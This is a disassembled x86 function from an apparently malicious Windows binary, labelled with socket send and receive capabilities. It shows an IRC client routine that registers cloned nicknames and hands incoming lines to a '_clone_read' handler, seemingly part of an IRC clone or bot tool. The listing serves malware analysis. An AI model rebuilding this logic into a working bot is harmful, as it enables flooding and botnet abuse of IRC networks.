Function at 0x40ce25
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2048
call fcn.0040ec80
sub esp, eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
imul eax, eax, 0x210
add eax, 0x42a300
mov dword [eax], 1
mov eax, dword [ebp - 0x14]
imul eax, eax, 0x210
add eax, 0x42a50c
mov eax, dword [eax]
mov edx, dword [ebp - 0x14]
imul edx, edx, 0x210
add edx, 0x42a300
add edx, 0xc
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._create_sock
mov edx, dword [ebp - 0x14]
imul edx, edx, 0x210
add edx, 0x42a304
mov dword [edx], eax
mov eax, dword [ebp - 0x14]
imul eax, eax, 0x210
add eax, 0x42a304
mov eax, dword [eax]
test eax, eax
je 0x40d0b7
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
lea eax, [ebp - 0x101c]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x101c]
mov dword [esp], eax
call sym._clone_nick
lea eax, [ebp - 0x101c]
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x101c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x101c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.NICK__s_nUSER__s__hotmail.com___127.0.0.1__:_s_n
lea eax, [ebp - 0x201c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x201c]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x14]
imul eax, eax, 0x210
add eax, 0x42a304
mov eax, dword [eax]
mov dword [esp + 0xc], 0
mov dword [esp + 8], edx
lea edx, [ebp - 0x201c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_send]
call eax
sub esp, 0x10
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
lea eax, [ebp - 0x201c]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x18], 0
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
lea eax, [ebp - 0x201c]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x14]
imul eax, eax, 0x210
add eax, 0x42a304
mov eax, dword [eax]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1000
lea edx, [ebp - 0x201c]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jle 0x40d0ba
mov dword [ebp - 0xc], 0
jmp 0x40d0a6
lea edx, [ebp - 0x201c]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
cmp al, 0xd
je 0x40d016
lea edx, [ebp - 0x201c]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
cmp al, 0xa
je 0x40d016
cmp dword [ebp - 0x10], 0xfa0
jne 0x40d080
cmp dword [ebp - 0x10], 0
je 0x40d0a1
lea edx, [ebp - 0x101c]
mov eax, dword [ebp - 0x10]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x14]
imul eax, eax, 0x210
add eax, 0x42a304
mov eax, dword [eax]
mov dword [esp + 4], eax
lea eax, [ebp - 0x101c]
mov dword [esp], eax
call sym._clone_read
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x40d0bd
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
lea eax, [ebp - 0x101c]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x10], 0
jmp 0x40d0a2
lea edx, [ebp - 0x201c]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
lea ecx, [ebp - 0x101c]
mov edx, dword [ebp - 0x10]
add edx, ecx
mov byte [edx], al
add dword [ebp - 0x10], 1
jmp 0x40d0a2
nop
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x18]
jne 0x40cfe9
jmp 0x40cf7b
nop
jmp 0x40d0be
nop
jmp 0x40d0be
nop
mov eax, dword [ebp - 0x14]
imul eax, eax, 0x210
add eax, 0x42a300
mov dword [eax], 0
mov eax, dword [ebp - 0x14]
imul eax, eax, 0x210
add eax, 0x42a304
mov eax, dword [eax]
test eax, eax
je 0x40d103
mov eax, dword [ebp - 0x14]
imul eax, eax, 0x210
add eax, 0x42a304
mov eax, dword [eax]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, 0
leave
ret 4